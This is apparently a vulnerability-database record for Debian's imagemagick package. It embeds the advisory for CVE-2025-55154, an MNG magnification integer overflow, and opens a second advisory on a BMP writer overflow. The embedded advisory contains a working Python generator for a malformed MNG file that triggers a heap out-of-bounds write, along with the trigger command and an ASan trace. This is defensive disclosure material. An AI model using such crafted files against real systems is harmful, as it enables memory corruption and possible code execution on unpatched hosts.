Lookup for vulnerable packages by Package URL.

Purlpkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
Typedeb
Namespacedebian
Nameimagemagick
Version8:7.1.1.43+dfsg1-1+deb13u2
Qualifiers
distro trixie
Subpath
Is_vulnerablefalse
Next_non_vulnerable_version8:7.1.1.43+dfsg1-1+deb13u3
Latest_non_vulnerable_version8:7.1.2.19+dfsg1-1
Affected_by_vulnerabilities
Fixing_vulnerabilities
0
url VCID-ef36-52cx-dfg5
vulnerability_id VCID-ef36-52cx-dfg5
summary
imagemagick: integer overflows in MNG magnification
## **Vulnerability Details**

The magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption.

The source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured.

```c
static Image *ReadOneMNGImage(MngReadInfo* mng_info,
  const ImageInfo *image_info,ExceptionInfo *exception)
{

// Lots of stuff, this is effectively a state machine for the MNG rendering commands,
// skip to the point where we start processing the "MAGN" command.

        if (memcmp(type,mng_MAGN,4) == 0)
          {
            png_uint_16
              magn_first,
              magn_last,
              magn_mb,
              magn_ml,
              magn_mr,
              magn_mt,
              magn_mx,
              magn_my,
              magn_methx,
              magn_methy;

// Details unimportant, but each of the `magn_xxx` variables is read from the file.

            if (magn_first == 0 || magn_last == 0)
              {
                /* Save the magnification factors for object 0 */
                mng_info->magn_mb=magn_mb;
                mng_info->magn_ml=magn_ml;
                mng_info->magn_mr=magn_mr;
                mng_info->magn_mt=magn_mt;
                mng_info->magn_mx=magn_mx;
                mng_info->magn_my=magn_my;
                mng_info->magn_methx=magn_methx;
                mng_info->magn_methy=magn_methy;
              }
          }

// Details unimportant, we load the image to be scaled and store it in `image`

    if (mng_type)
      {
        MngBox
          crop_box;

        if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) &&
            ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5)))
          {
            png_uint_32
               magnified_height,
               magnified_width;

            if (logging != MagickFalse)
              (void) LogMagickEvent(CoderEvent,GetMagickModule(),
                "  Processing MNG MAGN chunk");

            if (image->columns == 1)
              mng_info->magn_methx = 1;
            if (image->rows == 1)
              mng_info->magn_methy = 1;
            if (mng_info->magn_methx == 1)
              {
                magnified_width=mng_info->magn_ml; // [0]
                
                if (image->columns > 1)
                   magnified_width += mng_info->magn_mr; // [1]

                if (image->columns > 2)
                   magnified_width += (png_uint_32)
                      ((image->columns-2)*(mng_info->magn_mx)); // [2]
               }

// Different cases handle available scaling kinds, all of which have similar issues...

// We now check whether the output image is larger than the input image in either
// dimension, and if so, we will allocate a new image buffer of size
// `magnified_width * magnified_height`.

            if (magnified_height > image->rows ||
                magnified_width > image->columns)
              {
                Image
                  *large_image;

// Snip...

                large_image->columns=magnified_width;
                large_image->rows=magnified_height;

                magn_methx=mng_info->magn_methx;
                magn_methy=mng_info->magn_methy;

// In between here, we allocate the pixel buffer for `large_image`.

                /* magnify the rows into the right side of the large image */

                if (logging != MagickFalse)
                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),
                    "    Magnify the rows to %.20g",
                    (double) large_image->rows);
                m=(ssize_t) mng_info->magn_mt;
                yy=0;
                length=(size_t) GetPixelChannels(image)*image->columns;
                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));
                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));

                if ((prev == (Quantum *) NULL) ||
                    (next == (Quantum *) NULL))
                  {
                    if (prev != (Quantum *) NULL)
                      prev=(Quantum *) RelinquishMagickMemory(prev);
                    if (next != (Quantum *) NULL)
                      next=(Quantum *) RelinquishMagickMemory(next);
                    image=DestroyImageList(image);
                    ThrowReaderException(ResourceLimitError,
                      "MemoryAllocationFailed");
                  }

                n=GetAuthenticPixels(image,0,0,image->columns,1,exception);
                (void) memcpy(next,n,length);

                for (y=0; y < (ssize_t) image->rows; y++)
                {
                  if (y == 0)
                    m=(ssize_t) mng_info->magn_mt;

                  else if (magn_methy > 1 && y == (ssize_t) image->rows-2)
                    m=(ssize_t) mng_info->magn_mb;

                  else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)
                    m=(ssize_t) mng_info->magn_mb;

                  else if (magn_methy > 1 && y == (ssize_t) image->rows-1)
                    m=1;

                  else
                    m=(ssize_t) mng_info->magn_my;

                  n=prev;
                  prev=next;
                  next=n;

                  if (y < (ssize_t) image->rows-1)
                    {
                      n=GetAuthenticPixels(image,0,y+1,image->columns,1,
                          exception);
                      (void) memcpy(next,n,length);
                    }

                  for (i=0; i < m; i++, yy++)
                  {
                    Quantum
                      *pixels;

                    assert(yy < (ssize_t) large_image->rows);
                    pixels=prev;
                    n=next;
                    q=GetAuthenticPixels(large_image,0,yy,large_image->columns,
                      1,exception);
                    if (q == (Quantum *) NULL)
                      break;
                    q+=(ptrdiff_t) (large_image->columns-image->columns)*
                      GetPixelChannels(large_image); // [3]
```

If we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \[0\] and \[1\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \[2\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required.

When we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \[3\] will end up with a `q` pointer outside the buffer bounds.

This issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation.

Triggering this issue requires an `image` with large `columns` or `rows` (\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`).

## **Affected Version(s)**

Verified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0).

### **Build Instructions**

```shell
git clone https://github.com/imagemagick/imagemagick
cd imagemagick

export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address"
export CXXFLAGS="-fsanitize=address"
export LDFLAGS="-fsanitize=address"

./configure --disable-shared --disable-docs --with-jxl
make -j
```

## **Reproduction**

### **Test Case**

This testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write.

```
import struct
import zlib

def create_chunk(chunk_type, data):
    crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF
    return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc)

# MNG signature
mng_signature = b'\x8aMNG\r\n\x1a\n'

# --- Dimensions ---
mhdr_width = 1
mhdr_height = 1
ihdr_width = 65538 # W: Original width to cause W' overflow
ihdr_height = 1    # H: Original height

# MHDR chunk (Valid small dimensions)
mhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0)
mhdr_chunk = create_chunk(b'MHDR', mhdr_data)

# MAGN chunk: Trigger width overflow, force entry via height magn
magn_first = 0
magn_last = 0
magn_methx = 1
magn_mx = 65535      # -> magnified_width = 65534 (overflow)
magn_my = 2          # -> magnified_height = 2 (magn_mt=2)
magn_ml = 65535
magn_mr = 65535
magn_mt = 2          # Force magnified_height > H (necessary to trigger large_image path)
magn_mb = 1
magn_methy = 1

magn_data = struct.pack('>HHBHHHHHHB',
                        magn_first, magn_last,
                        magn_methx,
                        magn_mx, magn_my,
                        magn_ml, magn_mr,
                        magn_mt, magn_mb,
                        magn_methy)
magn_chunk = create_chunk(b'MAGN', magn_data)

# IHDR chunk
ihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0)
ihdr_chunk = create_chunk(b'IHDR', ihdr_data)

# IDAT chunk (Minimal data for W x H grayscale pixels)
scanline = b'\x00' + (b'\x00' * ihdr_width)
compressed_scanline = zlib.compress(scanline)
idat_chunk = create_chunk(b'IDAT', compressed_scanline)

# IEND chunk
iend_chunk = create_chunk(b'IEND', b'')

# MEND chunk
mend_chunk = create_chunk(b'MEND', b'')

program_input = (
    mng_signature +
    mhdr_chunk +
    magn_chunk +
    ihdr_chunk +
    idat_chunk +
    iend_chunk +
    mend_chunk
)

print(f"Generated MNG size: {len(program_input)} bytes")
with open("magn_write.mng", "wb") as tmp:
    tmp.write(program_input)
```

### **Command**

```shell
python3 ./generate_testcase.py
utilities/magick ./magn_write.mng -resize 200x200 PNG:output.png
```

### **ASan Backtrace**

```
=================================================================
==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8
WRITE of size 4 at 0x7f80849757d0 thread T0
    #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52
    #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27
    #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
    #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
    #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
    #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22
    #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7
    #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
    #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
    #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
    #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
    #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
    #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3
    #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)

0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0)
allocated by thread T0 here:
    #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)
    #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7
    #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10
    #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46
    #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18
    #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28
    #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10
    #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7
    #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28
    #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
    #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
    #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
    #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22
    #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7
    #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
    #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
    #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
    #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
    #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
    #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed
Shadow bytes around the buggy address:
  0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa
  0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==585863==ABORTING
```

## **Reporter Credit**

Google Big Sleep
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55154.json
reference_id
reference_type
scores
0
value 8.3
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55154.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-55154
reference_id
reference_type
scores
0
value 0.00053
scoring_system epss
scoring_elements 0.16871
published_at 2026-04-04T12:55:00Z
1
value 0.00053
scoring_system epss
scoring_elements 0.16609
published_at 2026-04-16T12:55:00Z
2
value 0.00053
scoring_system epss
scoring_elements 0.16672
published_at 2026-04-13T12:55:00Z
3
value 0.00053
scoring_system epss
scoring_elements 0.1673
published_at 2026-04-12T12:55:00Z
4
value 0.00053
scoring_system epss
scoring_elements 0.16773
published_at 2026-04-11T12:55:00Z
5
value 0.00053
scoring_system epss
scoring_elements 0.16814
published_at 2026-04-02T12:55:00Z
6
value 0.00053
scoring_system epss
scoring_elements 0.16795
published_at 2026-04-09T12:55:00Z
7
value 0.00053
scoring_system epss
scoring_elements 0.16741
published_at 2026-04-08T12:55:00Z
8
value 0.00053
scoring_system epss
scoring_elements 0.16656
published_at 2026-04-07T12:55:00Z
9
value 0.00054
scoring_system epss
scoring_elements 0.16875
published_at 2026-04-26T12:55:00Z
10
value 0.00054
scoring_system epss
scoring_elements 0.1689
published_at 2026-04-24T12:55:00Z
11
value 0.00054
scoring_system epss
scoring_elements 0.16987
published_at 2026-04-21T12:55:00Z
12
value 0.00054
scoring_system epss
scoring_elements 0.16949
published_at 2026-04-18T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-55154
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55154
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55154
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0
5
reference_url https://github.com/ImageMagick/ImageMagick
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ImageMagick/ImageMagick
6
reference_url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp29-wxp5-wh82
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:28:13Z/
url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp29-wxp5-wh82
7
reference_url https://issuetracker.google.com/savedsearches/7155917
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://issuetracker.google.com/savedsearches/7155917
8
reference_url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
9
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-55154
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-55154
10
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111103
reference_id 1111103
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111103
11
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2388243
reference_id 2388243
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2388243
12
reference_url https://github.com/advisories/GHSA-qp29-wxp5-wh82
reference_id GHSA-qp29-wxp5-wh82
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-qp29-wxp5-wh82
13
reference_url https://access.redhat.com/errata/RHSA-2025:15666
reference_id RHSA-2025:15666
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:15666
14
reference_url https://usn.ubuntu.com/7756-1/
reference_id USN-7756-1
reference_type
scores
url https://usn.ubuntu.com/7756-1/
fixed_packages
0
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eb4u-x1mt-2uan
11
vulnerability VCID-eeju-vhdm-aqbe
12
vulnerability VCID-egwu-28fp-dye6
13
vulnerability VCID-g41y-dv8u-3yf1
14
vulnerability VCID-g679-q851-xub7
15
vulnerability VCID-j6tc-f4fc-mbcv
16
vulnerability VCID-jc5m-7rvc-2qg6
17
vulnerability VCID-jcjk-s89c-mbbm
18
vulnerability VCID-n47w-r932-abey
19
vulnerability VCID-qjxn-gm96-7ygc
20
vulnerability VCID-r3vw-ncns-cqgb
21
vulnerability VCID-rbdg-vz8x-ykah
22
vulnerability VCID-rjkf-pdny-2fhn
23
vulnerability VCID-sw7g-hxxr-n3e1
24
vulnerability VCID-tt6z-t31v-dkdd
25
vulnerability VCID-tv15-dcnu-pbbn
26
vulnerability VCID-utfe-h3b7-jqcj
27
vulnerability VCID-uvkp-1zss-57gr
28
vulnerability VCID-w9zg-tsbg-afa1
29
vulnerability VCID-x8c6-9pse-xkc8
30
vulnerability VCID-y58b-be93-hbfd
31
vulnerability VCID-zab9-9tqj-hbhg
32
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u4%3Fdistro=trixie
1
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u6%3Fdistro=trixie
2
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u4%3Fdistro=trixie
3
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eeju-vhdm-aqbe
11
vulnerability VCID-egwu-28fp-dye6
12
vulnerability VCID-g41y-dv8u-3yf1
13
vulnerability VCID-g679-q851-xub7
14
vulnerability VCID-j6tc-f4fc-mbcv
15
vulnerability VCID-jc5m-7rvc-2qg6
16
vulnerability VCID-jcjk-s89c-mbbm
17
vulnerability VCID-n47w-r932-abey
18
vulnerability VCID-qjxn-gm96-7ygc
19
vulnerability VCID-r3vw-ncns-cqgb
20
vulnerability VCID-rbdg-vz8x-ykah
21
vulnerability VCID-rjkf-pdny-2fhn
22
vulnerability VCID-sw7g-hxxr-n3e1
23
vulnerability VCID-tt6z-t31v-dkdd
24
vulnerability VCID-tv15-dcnu-pbbn
25
vulnerability VCID-utfe-h3b7-jqcj
26
vulnerability VCID-uvkp-1zss-57gr
27
vulnerability VCID-w9zg-tsbg-afa1
28
vulnerability VCID-x8c6-9pse-xkc8
29
vulnerability VCID-y58b-be93-hbfd
30
vulnerability VCID-zab9-9tqj-hbhg
31
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u5%3Fdistro=trixie
4
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u2%3Fdistro=trixie
5
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-a2qm-vkc3-qkd5
7
vulnerability VCID-eeju-vhdm-aqbe
8
vulnerability VCID-egwu-28fp-dye6
9
vulnerability VCID-j6tc-f4fc-mbcv
10
vulnerability VCID-jc5m-7rvc-2qg6
11
vulnerability VCID-qjxn-gm96-7ygc
12
vulnerability VCID-tt6z-t31v-dkdd
13
vulnerability VCID-uvkp-1zss-57gr
14
vulnerability VCID-w9zg-tsbg-afa1
15
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u5%3Fdistro=trixie
6
url pkg:deb/debian/imagemagick@8:7.1.2.1%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.1%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.1%252Bdfsg1-1%3Fdistro=trixie
7
url pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-jc5m-7rvc-2qg6
1
vulnerability VCID-tt6z-t31v-dkdd
2
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.16%252Bdfsg1-1%3Fdistro=trixie
8
url pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-eeju-vhdm-aqbe
7
vulnerability VCID-egwu-28fp-dye6
8
vulnerability VCID-j6tc-f4fc-mbcv
9
vulnerability VCID-qjxn-gm96-7ygc
10
vulnerability VCID-uvkp-1zss-57gr
11
vulnerability VCID-w9zg-tsbg-afa1
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.18%252Bdfsg1-1%3Fdistro=trixie
9
url pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.19%252Bdfsg1-1%3Fdistro=trixie
aliases CVE-2025-55154, GHSA-qp29-wxp5-wh82
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ef36-52cx-dfg5
1
url VCID-f6pf-5jnz-fkd1
vulnerability_id VCID-f6pf-5jnz-fkd1
summary
ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow
## Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

- **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**.
    
- **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers.
    
- **32-bit:** **Vulnerable** (reproduced with ASan).
    
- **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.
    
- **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
    

---

## Scope & Affected Builds

- **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`).
    
- **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7`
    
- **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`
    
